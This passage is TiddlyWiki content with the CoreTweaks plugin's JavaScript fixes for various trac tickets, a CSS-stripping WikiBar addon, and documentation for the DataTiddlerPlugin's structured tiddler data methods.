^^where: %0=title, %1=username, %2=modification date, %3=size in bytes, %4=description slice, %5=first N characters of tiddler content^^
Tiddler link tooltip date format:
{{stretch{<<option txtTiddlerLinkTooltipDate>>}}}
Tiddler excerpt limit (chars):
{{stretch{<<option txtTiddlerLinkTooltipLimit>>}}}
***/
//{{{
config.messages.tiddlerLinkTooltip='%0 - %4 %5';
config.messages.tiddlerLinkTooltipDate='DDD, MMM DDth YYYY 0hh12:0mm AM';
config.messages.tiddlerLinkTooltipLimit=50;

config.options.txtTiddlerLinkTootip=
	config.options.txtTiddlerLinkTootip||config.messages.tiddlerLinkTooltip;
config.options.txtTiddlerLinkTooltipDate=
	config.options.txtTiddlerLinkTooltipDate||config.messages.tiddlerLinkTooltipDate;
config.options.txtTiddlerLinkTooltipLimit=
	config.options.txtTiddlerLinkTooltipLimit||config.messages.tiddlerLinkTooltipLimit;

Tiddler.prototype.getSubtitle = function() {
	var modifier = this.modifier;
	if(!modifier) modifier = config.messages.subtitleUnknown;
	var modified = this.modified;
	if(modified) modified = modified.formatString(config.options.txtTiddlerLinkTooltipDate);
	else modified = config.messages.subtitleUnknown;
	var descr=store.getTiddlerSlice(this.title,'Description')||'';
	var txt=this.text.substr(0,config.options.txtTiddlerLinkTooltipLimit);
	if (this.text.length>config.options.txtTiddlerLinkTooltipLimit) txt+="...";
	return config.options.txtTiddlerLinkTootip.format([this.title,modifier,modified,this.text.length,descr,txt]);
};
//}}}
// // }}}}}}// // {{block{
/***
!!!607 add HREF link on permaview command
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/607 - CLOSED: WON'T FIX
This tweak automatically sets the HREF for the 'permaview' sidebar command link so you can use the 'right click' context menu for faster, easier bookmarking.  Note that this does ''not'' automatically set the permaview in the browser's current location URL... it just sets the HREF on the command link.  You still have to click the link to apply the permaview.
***/
//{{{
config.macros.permaview.handler = function(place)
{
	var btn=createTiddlyButton(place,this.label,this.prompt,this.onClick);
	addEvent(btn,'mouseover',this.setHREF);
	addEvent(btn,'focus',this.setHREF);
};
config.macros.permaview.setHREF = function(event){
	var links = [];
	story.forEachTiddler(function(title,element) {
		links.push(String.encodeTiddlyLink(title));
	});
	var newURL=document.location.href;
	var hashPos=newURL.indexOf('#');
	if (hashPos!=-1) newURL=newURL.substr(0,hashPos);
	this.href=newURL+'#'+encodeURIComponent(links.join(' '));
}
//}}}
// // }}}}}}// // {{block{
/***
!!!458 add permalink-like HREFs on internal TiddlyLinks
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/458 - CLOSED: WON'T FIX
This tweak assigns a permalink-like HREF to internal Tiddler links (which normally do not have any HREF defined).  This permits the link's context menu (right-click) to include 'open link in another window/tab' command.  Based on a request from Dustin Spicuzza.
***/
//{{{
window.coreTweaks_createTiddlyLink=window.createTiddlyLink;
window.createTiddlyLink=function(place,title,includeText,theClass,isStatic,linkedFromTiddler,noToggle)
{
	// create the core button, then add the HREF (to internal links only)
	var link=window.coreTweaks_createTiddlyLink.apply(this,arguments);
	if (!isStatic)
		link.href=document.location.href.split('#')[0]+'#'+encodeURIComponent(String.encodeTiddlyLink(title));
	return link;
}
//}}}
// // }}}}}}
// // to be fixed in 2.6.0:
// // {{block{
/***
!!!1151 adjust popup placement when root element is in scrolled DIV
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/1151
When a popup link is placed inside a DIV with style "overflow:scroll" or "overflow:auto" and that DIV is then scrolled, the position of the resulting popup appears further down the page that intended, because it is not adjusting for the relative scroll offset of the containing DIV.  This tweak patches the Popup.place() function to calculate and subtract the current scroll offset from the computed popup position, so that it appears in the correct location on the page.

Test case: //(scroll to the bottom of this DIV and click on "test popup")//
{{groupbox{
 <<tiddler ScrollBox with: CoreTweaks##1151test 12em>>}}}/%
!1151test
<<tiddler About>>
<<showPopup tiddler:About label:"test popup" tip:About popupClass:sticky>>
!end
%/
***/
//{{{
window.findScrollOffsetX=function(obj) {
	var x=0;
	while(obj) {
		if (obj.scrollLeft && obj.nodeName!='HTML')
			x+=obj.scrollLeft;
		obj=obj.parentNode;
	}
	return -x;
}

window.findScrollOffsetY=function(obj) {
	var y=0;
	while(obj) {
		if (obj.scrollTop && obj.nodeName!='HTML')
			y+=obj.scrollTop;
		obj=obj.parentNode;
	}
	return -y;
}

var fn=Popup.place.toString();
if (fn.indexOf('findScrollOffsetX')==-1) { // only once
	fn=fn.replace(/var\s*rootLeft\s*=/,'var rootLeft = window.findScrollOffsetX(root) +');
	fn=fn.replace(/var\s*rootTop\s*=/,'var rootTop = window.findScrollOffsetY(root) +');
	eval('Popup.place='+fn);
}
//}}}
// // }}}}}}// // {{block{
/***
!!!1147 tiddler macro with params does not refresh
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/1147
when the {{{<<tiddler SomeTiddler>>}}} macro is handled, the resulting span has extra attributes: {{{refresh='content'}}} and {{{tiddler='SomeTiddler'}}}.  If SomeTiddler is changed, {{{store.notify('SomeTiddler')}}} triggers {{{refreshDisplay()}}}, which automatically re-renders transcluded content in any span that has these extra attributes.  However, when additional arguments are passed by using {{{<<tiddler SomeTiddler with: arg arg arg ...>>}}} then the resulting span does NOT get the extra attributes noted above and, as a consequence, the transcluded content is not being refreshed, even though the underlying tiddler has changed

To correct this, in {{{config.macros.tiddler.handler}}}:
*set the 'refresh' and 'tiddler' attributes even when arguments are present in the macro
*store the arguments themselves in an attribute (e.g, 'args'), using as a space-separated, bracketed list
Then, in {{{config.refreshers.content}}}:
*retrieve the stored arguments (if any) and the tiddler source
*substitute arguments into source and re-render the span with the updated content

***/
//{{{
config.refreshers.content=function(e,changeList) {
		var title = e.getAttribute("tiddler");
		var force = e.getAttribute("force");
		var args = e.getAttribute("args"); // ADDED
		if(force != null || changeList == null || changeList.indexOf(title) != -1) {
			removeChildren(e);
//			wikify(store.getTiddlerText(title,""),e,null,store.fetchTiddler(title)); // REMOVED
			config.macros.tiddler.transclude(e,title,args); // ADDED
			return true;
		} else
			return false;
};

config.macros.tiddler.handler=function(place,macroName,params,wikifier,paramString,tiddler) {
	params = paramString.parseParams("name",null,true,false,true);
	var names = params[0]["name"];
	var tiddlerName = names[0];
	var className = names[1] || null;
	var args = params[0]["with"];
	var wrapper = createTiddlyElement(place,"span",null,className);
//	if(!args) { // REMOVED
		wrapper.setAttribute("refresh","content");
		wrapper.setAttribute("tiddler",tiddlerName);
// 	} // REMOVED
	if(args!==undefined) wrapper.setAttribute("args",'[['+args.join(']] [[')+']]'); // ADDED
	this.transclude(wrapper,tiddlerName,args); // REFACTORED TO ...tiddler.transclude
}

// REFACTORED FROM ...tiddler.handler
config.macros.tiddler.transclude=function(wrapper,tiddlerName,args) {
	var text = store.getTiddlerText(tiddlerName); if (!text) return;
	var stack = config.macros.tiddler.tiddlerStack;
	if(stack.indexOf(tiddlerName) !== -1) return;
	stack.push(tiddlerName);
	try {
		if (typeof args == "string") args=args.readBracketedList(); // ADDED
		var n = args ? Math.min(args.length,9) : 0;
		for(var i=0; i<n; i++) {
			var placeholderRE = new RegExp("\\$" + (i + 1),"mg");
			text = text.replace(placeholderRE,args[i]);
		}
		config.macros.tiddler.renderText(wrapper,text,tiddlerName,null); // REMOVED UNUSED 'params'
	} finally {
		stack.pop();
	}
};
//}}}
// // }}}}}}// // {{block{
/***
!!!1134 allow leading whitespace in section headings / TBD handle shadow tiddler sections
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/1134
This tweak REPLACES and extends {{{store.getTiddlerText()}}} so it can return sections defined in shadow tiddlers as well as permitting use of leading whitespace in section headings.
***/
//{{{
TiddlyWiki.prototype.getTiddlerText = function(title,defaultText)
{
	if(!title) return defaultText;
	var parts = title.split(config.textPrimitives.sectionSeparator);
	var title = parts[0];
	var section = parts[1];
	var parts = title.split(config.textPrimitives.sliceSeparator);
	var title = parts[0];
	var slice = parts[1]?this.getTiddlerSlice(title,parts[1]):null;
	if(slice) return slice;
	var tiddler = this.fetchTiddler(title);
	var text = defaultText;
	if(this.isShadowTiddler(title))
		text = this.getShadowTiddlerText(title);
	if(tiddler)
		text = tiddler.text;
	if(!section) return text;
	var re = new RegExp("(^!{1,6}[ \t]*" + section.escapeRegExp() + "[ \t]*\n)","mg");
	re.lastIndex = 0;
	var match = re.exec(text);
	if(match) {
		var t = text.substr(match.index+match[1].length);
		var re2 = /^!/mg;
		re2.lastIndex = 0;
		match = re2.exec(t); //# search for the next heading
		if(match)
			t = t.substr(0,match.index-1);//# don't include final \n
		return t;
	}
	return defaultText;
};
//}}}
// // }}}}}}// // {{block{
/***
!!!824 ~WindowTitle - alternative to combined ~SiteTitle/~SiteSubtitle in window titlebar
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/824 - OPEN
This tweak allows definition of an optional [[WindowTitle]] tiddler that, when present, provides alternative text for display in the browser window's titlebar, instead of using the combined text content from [[SiteTitle]] and [[SiteSubtitle]] (which will still be displayed as usual in the TiddlyWiki document header area).

Note: this ticket replaces http://trac.tiddlywiki.org/ticket/401 (closed), which proposed using a custom [[PageTitle]] tiddler for this purpose.  ''If you were using the previous '401 ~PageTitle' tweak, you will need to rename [[PageTitle]] to [[WindowTitle]] to continue to use your custom window title text''
***/
//{{{
config.shadowTiddlers.WindowTitle='<<tiddler SiteTitle>> - <<tiddler SiteSubtitle>>';
window.getPageTitle=function() { return wikifyPlain('WindowTitle'); }
store.addNotification('WindowTitle',refreshPageTitle); // so title stays in sync with tiddler changes
//}}}
// // }}}}}}// // {{block{
/***
!!!471 'creator' field for new tiddlers
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/471 - OPEN
This tweak HIJACKS the core's saveTiddler() function to automatically add a 'creator' field to a tiddler when it is FIRST created. You can use """<<view creator>>""" (or """<<view creator wikified>>""" if you prefer) to show this value embedded directly within the tiddler content, or {{{<span macro="view creator"></span>}}} in the ViewTemplate and/or EditTemplate to display the creator value in each tiddler.  
***/
//{{{
// hijack saveTiddler()
TiddlyWiki.prototype.CoreTweaks_creatorSaveTiddler=TiddlyWiki.prototype.saveTiddler;
TiddlyWiki.prototype.saveTiddler=function(title,newTitle,newBody,modifier,modified,tags,fields)
{
	var existing=store.tiddlerExists(title);
	var tiddler=this.CoreTweaks_creatorSaveTiddler.apply(this,arguments);
	if (!existing) store.setValue(title,'creator',config.options.txtUserName);
	return tiddler;
}
//}}}
// // }}}}}}
// // fixed in ~TW2.4.3
// // {{block{
/***
!!!444 'tiddler' and 'place' - global variables for use in computed macro parameters
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/444 - CLOSED:FIXED - TW2.4.3 - http://trac.tiddlywiki.org/changeset/8367
When invoking a macro, this tweak makes the current containing tiddler object and DOM rendering location available as global variables (window.tiddler and window.place, respectively).  These globals can then be used within //computed macro parameters// to retrieve tiddler-relative and/or DOM-relative values or perform tiddler-specific side-effect functionality.
***/
//{{{
if (ver<2.43) {
window.coreTweaks_invokeMacro = window.invokeMacro;
window.invokeMacro = function(place,macro,params,wikifier,tiddler) {
	var here=story.findContainingTiddler(place);
	window.tiddler=here?store.getTiddler(here.getAttribute('tiddler')):tiddler;
	window.place=place;
	window.coreTweaks_invokeMacro.apply(this,arguments);
}
}
//}}}
// // }}}}}}
// // fixed in ~TW2.4.2:
// // {{block{
/***
!!!823 apply option values via paramifiers (e.g. #chk...and #txt...)
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/823 - CLOSED:FIXED - TW2.4.2 http://trac.tiddlywiki.org/changeset/7988
This tweak extends and ''//replaces//'' the core {{{invokeParamifier()}}} function to support use of ''option paramifiers'' that set TiddlyWiki option values on-the-fly, directly from a document URL.

If a paramifier begins with 'chk' (checkbox) or 'txt' (text field), it's value will be automatically stored in {{{config.options.*}}}, adding to or overriding any existing 'chk' or 'txt' option values that may have already been loaded from browser cookies and/or assigned by the TW core or plugin initialization functions using hard-coded default values.  Note: option values that have been overriden by paramifiers are only applied during the current document session, and are not //automatically// retained.  However, if you edit an overridden option value during that session, then the modified value is, of course, saved in a browser cookie, as usual.
***/
//{{{
if (ver<2.42) {
function invokeParamifier(params,handler)
{
	if(!params || params.length == undefined || params.length <= 1)
		return;
	for(var t=1; t<params.length; t++) {
		var p = config.paramifiers[params[t].name];
		if(p && p[handler] instanceof Function)
			p[handler](params[t].value);
		else { // not a paramifier with handler()... check for an 'option' prefix
			var h=config.optionHandlers[params[t].name.substr(0,3)];
			if (h && h.set instanceof Function)
				h.set(params[t].name,params[t].value);
		}
	}
}
}
//}}}
// // }}}}}}
// // open tickets:
// // {{block{
/***
!!!608/609/610 toolbars - toggles, separators and transclusion
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/608 - OPEN (more/less toggle)
http://trac.tiddlywiki.org/ticket/609 - OPEN (separators)
http://trac.tiddlywiki.org/ticket/610 - OPEN (wikify tiddler/slice/section content)

This combination tweak extends the """<<toolbar>>""" macro to add use of '<' to insert a 'less' menu command (the opposite of '>' == 'more'), as well as use of '*' to insert linebreaks and "!" to insert a vertical line separator between toolbar items.  In addition, this tweak add the ability to use references to tiddlernames, slices, or sections and render their content inline within the toolbar, allowing easy creation of new toolbar commands using TW content (such as macros, links, inline scripts, etc.)

To produce a one-line style, with "less" at the end, use
| ViewToolbar| foo bar baz > yabba dabba doo < |
or to use a two-line style with more/less toggle:
| ViewToolbar| foo bar baz > < * yabba dabba doo |
***/
//{{{
merge(config.macros.toolbar,{
	moreLabel: 'more\u25BC',
	morePrompt: 'Show additional commands',
	lessLabel: '\u25C4less',
	lessPrompt: 'Hide additional commands',
	separator: '|'
});
config.macros.toolbar.onClickMore = function(ev) {
	var e = this.nextSibling;
	e.style.display = 'inline'; // show menu
	this.style.display = 'none'; // hide button
	return false;
};
config.macros.toolbar.onClickLess = function(ev) {
	var e = this.parentNode;
	var m = e.previousSibling;
	e.style.display = 'none'; // hide menu
	m.style.display = 'inline'; // show button
	return false;
};
config.macros.toolbar.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	for(var t=0; t<params.length; t++) {
		var c = params[t];
		switch(c) {
			case '!':  // ELS - SEPARATOR (added)
				createTiddlyText(place,this.separator);
				break;
			case '*':  // ELS - LINEBREAK (added)
				createTiddlyElement(place,'BR');
				break;
			case '<': // ELS - LESS COMMAND (added)
				var btn = createTiddlyButton(place,
					this.lessLabel,this.lessPrompt,config.macros.toolbar.onClickLess,'moreCommand');
				break;
			case '>':
				var btn = createTiddlyButton(place,
					this.moreLabel,this.morePrompt,config.macros.toolbar.onClickMore,'moreCommand');
				var e = createTiddlyElement(place,'span',null,'moreCommand');
				e.style.display = 'none';
				place = e;
				break;
			default:
				var theClass = '';
				switch(c.substr(0,1)) {
					case '+':
						theClass = 'defaultCommand';
						c = c.substr(1);
						break;
					case '-':
						theClass = 'cancelCommand';
						c = c.substr(1);
						break;
				}
				if(c in config.commands)

					this.createCommand(place,c,tiddler,theClass);
				else { // ELS - WIKIFY TIDDLER/SLICE/SECTION (added)
					if (c.substr(0,1)=='~') c=c.substr(1); // ignore leading ~
					var txt=store.getTiddlerText(c);
					if (txt) {
						// trim any leading/trailing newlines
						txt=txt.replace(/^\n*/,'').replace(/\n*$/,'');
						// trim PRE format wrapper if any
						txt=txt.replace(/^\{\{\{\n/,'').replace(/\n\}\}\}$/,'');
						// render content into toolbar
						wikify(txt,createTiddlyElement(place,'span'),null,tiddler);
					}
				} // ELS - end WIKIFY CONTENT
				break;
		}
	}
};
//}}}
// // }}}}}}// // {{block{
/***
!!!529 IE fixup - case-sensitive element lookup of tiddler elements
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/529 - OPEN
This tweak hijacks the standard browser function, document.getElementById(), to work-around the case-INsensitivity error in Internet Explorer (all versions up to and including IE7) //''Note: This tweak is only applied when using IE, and only for lookups of rendered tiddler elements within the containing 'tiddlerDisplay' element.''//
***/
//{{{
if (config.browser.isIE) {
document.coreTweaks_coreGetElementById=document.getElementById;
document.getElementById=function(id) {
	var e=document.coreTweaks_coreGetElementById(id);
	if (!e || !e.parentNode || e.parentNode.id!='tiddlerDisplay') return e;
	for (var i=0; i<e.parentNode.childNodes.length; i++)
		if (id==e.parentNode.childNodes[i].id) return e.parentNode.childNodes[i];
	return null;
};
}
//}}}
// // }}}}}}// // {{block{
/***
!!!890 add conditional test to """<<tiddler>>""" macro
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/890 - OPEN
This tweak extends the {{{<<tiddler>>}}} macro syntax so you can include a javascript-based //test expression// to determine if the tiddler transclusion should be performed:
{{{
<<tiddler TiddlerName if:{{...}} with: param param etc.>>
}}}
If the test is ''true'', then the tiddler is transcluded as usual.  If the test is ''false'', then the transclusion is skipped and //no output is produced//.
***/
//{{{
config.macros.tiddler.if_handler = config.macros.tiddler.handler;
config.macros.tiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	params = paramString.parseParams('name',null,true,false,true);
	if (!getParam(params,'if',true)) return;
	this.if_handler.apply(this,arguments);
};
//}}}
// // }}}}}}// // {{block{
/***
!!!831 backslash-quoting for embedding newlines in 'line-mode' formats
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/831 - OPEN
This tweak pre-processes source content to convert 'double-backslash-newline' into {{{<br>}}} before wikify(), so that literal newlines can be embedded in line-mode wiki syntax (e.g., tables, bullets, etc.)
***/
//{{{
window.coreWikify = wikify;
window.wikify = function(source,output,highlightRegExp,tiddler)
{
	if (source) arguments[0]=source.replace(/\\\\\n/mg,'<br>');
	coreWikify.apply(this,arguments);
}
//}}}
// // }}}}}}// // {{block{
/***
!!!683 FireFox3 Import bug: 'browse' button replacement
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/683 - OPEN
The web standard 'type=file' input control that has been used as a local path/file picker for TiddlyWiki no longer works as expected in FireFox3, which has, for security reasons, limited javascript access to this control so that *no* local filesystem path information can be revealed, even when it is intentional and necessary, as it is with TiddlyWiki.  This tweak provides alternative HTML source that patches the backstage import panel.  It replaces the 'type=file' input control with a text+button combination of controls that invokes a system-native secure 'file-chooser' dialog box to provide TiddlyWiki with access to a complete path+filename so that TW functions properly locate user-selected local files.
>Note: ''This tweak also requires http://trac.tiddlywiki.org/ticket/604 - cross-platform askForFilename()''
***/
//{{{
if (window.Components) {
	var fixhtml='<input name="txtBrowse" style="width:30em"><input type="button" value="..."'
		+' onClick="window.browseForFilename(this.previousSibling,true)">';
	var cmi=config.macros.importTiddlers;
	cmi.step1Html=cmi.step1Html.replace(/<input type='file' size=50 name='txtBrowse'>/,fixhtml);
}

merge(config.messages,{selectFile:'Please enter or select a file'}); // ready for I18N translation

window.browseForFilename=function(target,mustExist) { // note: both params are optional
	var msg=config.messages.selectFile;
	if (target && target.title) msg=target.title; // use target field tooltip (if any) as dialog prompt text
	// get local path for current document
	var path=getLocalPath(document.location.href);
	var p=path.lastIndexOf('/'); if (p==-1) p=path.lastIndexOf('\\'); // Unix or Windows
	if (p!=-1) path=path.substr(0,p+1); // remove filename, leave trailing slash
	var file=''
	var result=window.askForFilename(msg,path,file,mustExist); // requires #604
	if (target && result.length) // set target field and trigger handling
		{ target.value=result; target.onchange(); }
	return result; 
}
//}}}
// // }}}}}}// // {{block{
/***
!!!604 cross-platform askForFilename()
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/604 - OPEN
invokes a system-native secure 'file-chooser' dialog box to provide TiddlyWiki with access to a complete path+filename so that TW functions properly locate user-selected local files.
***/
//{{{
window.askForFilename=function(msg,path,file,mustExist) {
	var r = window.mozAskForFilename(msg,path,file,mustExist);
	if(r===null || r===false)
		r = window.ieAskForFilename(msg,path,file,mustExist);
	if(r===null || r===false)
		r = window.javaAskForFilename(msg,path,file,mustExist);
	if(r===null || r===false)
		r = prompt(msg,path+file);
	return r||'';
}

window.mozAskForFilename=function(msg,path,file,mustExist) {
	if(!window.Components) return false;
	try {
		netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
		var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
		var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
		picker.init(window, msg, mustExist?nsIFilePicker.modeOpen:nsIFilePicker.modeSave);
		var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
		thispath.initWithPath(path);
		picker.displayDirectory=thispath;
		picker.defaultExtension='html';
		picker.defaultString=file;
		picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
		if (picker.show()!=nsIFilePicker.returnCancel)
			var result=picker.file.path;
	}
	catch(ex) { displayMessage(ex.toString()); }
	return result;
}

window.ieAskForFilename=function(msg,path,file,mustExist) {
	if(!config.browser.isIE) return false;
	try {
		var s = new ActiveXObject('UserAccounts.CommonDialog');
		s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
		s.FilterIndex=3; // default to HTML files;
		s.InitialDir=path;
		s.FileName=file;
		return s.showOpen()?s.FileName:'';
	}
	catch(ex) { displayMessage(ex.toString()); }
	return result;
}

window.javaAskForFilename=function(msg,path,file,mustExist) {
	if(!document.applets['TiddlySaver']) return false;
	// TBD: implement java-based askFile(...) function
	try { return document.applets['TiddlySaver'].askFile(msg,path,file,mustExist); } 
	catch(ex) { displayMessage(ex.toString()); }
}
//}}}
// // }}}}}}// // {{block{
/***
!!!657 wrap tabs onto multiple lines
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/657 - OPEN
This tweak inserts an extra space element following each tab, allowing them to wrap onto multiple lines if needed.
***/
//{{{
config.macros.tabs.handler = function(place,macroName,params)
{
	var cookie = params[0];
	var numTabs = (params.length-1)/3;
	var wrapper = createTiddlyElement(null,'div',null,'tabsetWrapper ' + cookie);
	var tabset = createTiddlyElement(wrapper,'div',null,'tabset');
	tabset.setAttribute('cookie',cookie);
	var validTab = false;
	for(var t=0; t<numTabs; t++) {
		var label = params[t*3+1];
		var prompt = params[t*3+2];
		var content = params[t*3+3];
		var tab = createTiddlyButton(tabset,label,prompt,this.onClickTab,'tab tabUnselected');
		createTiddlyElement(tab,'span',null,null,' ',{style:'font-size:0pt;line-height:0px'}); // ELS
		tab.setAttribute('tab',label);
		tab.setAttribute('content',content);
		tab.title = prompt;
		if(config.options[cookie] == label)
			validTab = true;
	}
	if(!validTab)
		config.options[cookie] = params[1];
	place.appendChild(wrapper);
	this.switchTab(tabset,config.options[cookie]);
};
//}}}
// // }}}}}}// // {{block{
/***
!!!628 hide 'no such macro' errors
***/
// // {{groupbox small{
/***
http://trac.tiddlywiki.org/ticket/628 - OPEN
When invoking a macro that is not defined, this tweak prevents the display of the 'error in macro... no such macro' message.  This is useful when rendering tiddler content or templates that reference macros that are defined by //optional// plugins that have not been installed in the current document.

<<option chkHideMissingMacros>> hide 'no such macro' error messages
***/
//{{{
if (config.options.chkHideMissingMacros===undefined)
	config.options.chkHideMissingMacros=false;

window.coreTweaks_missingMacro_invokeMacro = window.invokeMacro;
window.invokeMacro = function(place,macro,params,wikifier,tiddler) {
	if (!config.macros[macro] || !config.macros[macro].handler)
		if (config.options.chkHideMissingMacros) return;
	window.coreTweaks_missingMacro_invokeMacro.apply(this,arguments);
}
//}}}
// // }}}}}}
// // <<foldHeadings>>
Don't forget to add [[Joe Blow]]'s items
<<twtimeline saveXML>>
/***
|''Name:''|CssStripper|
|''Version:''||
|''Source:''|[[AiddlyWiki|http://aiddlywiki.sourceforge.net]]|
|''Author:''|[[Arphen Lin|mailto:arphenlin@gmail.com]]|
|''Type:''|WikiBar addon|
|''Required:''|WikiBar 2.0.0+|
!Description
reduce the size of css
!Installation
#install WikiBar at first
#create your addon as a tiddler with tag 'wikibarAddons'
!Code
***/
//{{{

//----------------------------------------------------------------------------
// addon install function: this is a must
//----------------------------------------------------------------------------
function wikibar_addonInstall(unused){

  // define tools
  var cssStripper={
  		  CAPTION:'css stripper',
  		  HANDLER: CssStripper_doIt
  		};

  // register tools
  wikibarStore.addon.cssStripper = cssStripper;
}

CssStripper_doIt = function(param){

  clearMessage();
  try{
    var editor = param.button.editor;
    var codes = editor.value;

    // strip multi-line javascript comment
    codes = codes.replace(/\/\*(\s*|.*?)*\*\//g, '');

    // strip single-line comment, except ://
//    codes = codes.replace(/[^\:]\/\/.*$/gm, '');

//    // convert tab to space
//    codes = codes.replace(/\t/g, '  ');
//
//    // rtirm
//    codes = codes.replace(/([ ]+$)/gm, ''); // ltrim | rtrim

    // strip redundant white-spaces or tabs
    codes = codes.replace(/(\t|[ ])+/g, ' ');
    codes = codes.replace(/((^[ ]+)|([ ]+$))/gm, ''); // ltrim | rtrim

//    // strip redundant newline
//    codes = codes.replace(/(\n|\r)+/g, '\n');

    // strip all newline
    codes = codes.replace(/(\n|\r)+/g, '');

    // strip redundant white-space between delimiters
    delis = ',:;{}()';
    for(i=0; i<delis.length; i++){
     deli = delis.charAt(i);
     var regx = new RegExp('[ ]*\\' + deli + '[ ]*', 'g');
     //print(regx);
     codes = codes.replace(regx, deli);
    }

    if(editor.value!=codes){
      editor.value=codes;
      displayMessage('CSS strip ok!');
    }else{
      displayMessage('nothing changed');
    }

  }catch(ex){
    alert('error: ' + ex);
  }
}


// for debugging: you can turn it off in final release ----------------------
wikibar_addonInstall();


//}}}
{{black{<<calendar thismonth>>}}}
order:2
button:none
buttonLong:daily
/***
|''Name:''|DataTiddlerPlugin|
|''Version:''|1.0.7 (2012-04-19)|
|''Summary:''|Enhance your tiddlers with structured data (such as strings, booleans, numbers, or even arrays and compound objects) that can be easily accessed and modified through named fields (in JavaScript code).|
|''Source:''|http://tiddlywiki.abego-software.de/#DataTiddlerPlugin|
|''Twitter:''|[[@abego|https://twitter.com/#!/abego]]|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''License:''|[[BSD open source license|http://www.abego-software.de/legal/apl-v10.html]]|
!Description
Enhance your tiddlers with structured data (such as strings, booleans, numbers, or even arrays and compound objects) that can be easily accessed and modified through named fields (in JavaScript code).

Such tiddler data can be used in various applications. E.g. you may create tables that collect data from various tiddlers. 

''//Example: "Table with all December Expenses"//''
{{{
<<forEachTiddler
    where
        'tiddler.tags.contains("expense") && tiddler.data("month") == "Dec"'
    write
        '"|[["+tiddler.title+"]]|"+tiddler.data("descr")+"| "+tiddler.data("amount")+"|\n"'
>>
}}}
//(This assumes that expenses are stored in tiddlers tagged with "expense".)//
<<forEachTiddler
    where
        'tiddler.tags.contains("expense") && tiddler.data("month") == "Dec"'
    write
        '"|[["+tiddler.title+"]]|"+tiddler.data("descr")+"| "+tiddler.data("amount")+"|\n"'
>>
For other examples see DataTiddlerExamples.




''Access and Modify Tiddler Data''

You can "attach" data to every tiddler by assigning a JavaScript value (such as a string, boolean, number, or even arrays and compound objects) to named fields. 

These values can be accessed and modified through the following Tiddler methods:
|!Method|!Example|!Description|
|{{{data(field)}}}|{{{t.data("age")}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined {{{undefined}}} is returned.|
|{{{data(field,defaultValue)}}}|{{{t.data("isVIP",false)}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined the defaultValue is returned.|
|{{{data()}}}|{{{t.data()}}}|Returns the data object of the tiddler, with a property for every field. The properties of the returned data object may only be read and not be modified. To modify the data use DataTiddler.setData(...) or the corresponding Tiddler method.|
|{{{setData(field,value)}}}|{{{t.setData("age",42)}}}|Sets the value of the given data field of the tiddler to the value. When the value is {{{undefined}}} the field is removed.|
|{{{setData(field,value,defaultValue)}}}|{{{t.setData("isVIP",flag,false)}}}|Sets the value of the given data field of the tiddler to the value. When the value is equal to the defaultValue no value is set (and the field is removed).|

Alternatively you may use the following functions to access and modify the data. In this case the tiddler argument is either a tiddler or the name of a tiddler.
|!Method|!Description|
|{{{DataTiddler.getData(tiddler,field)}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined {{{undefined}}} is returned.|
|{{{DataTiddler.getData(tiddler,field,defaultValue)}}}|Returns the value of the given data field of the tiddler. When no such field is defined or its value is undefined the defaultValue is returned.|
|{{{DataTiddler.getDataObject(tiddler)}}}|Returns the data object of the tiddler, with a property for every field. The properties of the returned data object may only be read and not be modified. To modify the data use DataTiddler.setData(...) or the corresponding Tiddler method.|
|{{{DataTiddler.setData(tiddler,field,value)}}}|Sets the value of the given data field of the tiddler to the value. When the value is {{{undefined}}} the field is removed.|
|{{{DataTiddler.setData(tiddler,field,value,defaultValue)}}}|Sets the value of the given data field of the tiddler to the value. When the value is equal to the defaultValue no value is set (and the field is removed).|
//(For details on the various functions see the detailed comments in the source code.)//


''Data Representation in a Tiddler''

The data of a tiddler is stored as plain text in the tiddler's content/text, inside a "data" section that is framed by a {{{<data>...</data>}}} block. Inside the data section the information is stored in the [[JSON format|http://www.crockford.com/JSON/index.html]]. 

//''Data Section Example:''//
{{{
<data>{"isVIP":true,"user":"John Brown","age":34}</data>
}}}

The data section is not displayed when viewing the tiddler (see also "The showData Macro").

Beside the data section a tiddler may have all kind of other content.

Typically you will not access the data section text directly but use the methods given above. Nevertheless you may retrieve the text of the data section's content through the {{{DataTiddler.getDataText(tiddler)}}} function.


''Saving Changes''

The "setData" methods respect the "ForceMinorUpdate" and "AutoSave" configuration values. I.e. when "ForceMinorUpdate" is true changing a value using setData will not affect the "modifier" and "modified" attributes. With "AutoSave" set to true every setData will directly save the changes after a setData.


''Notifications''

No notifications are sent when a tiddler's data value is changed through the "setData" methods. 

''Escape Data Section''
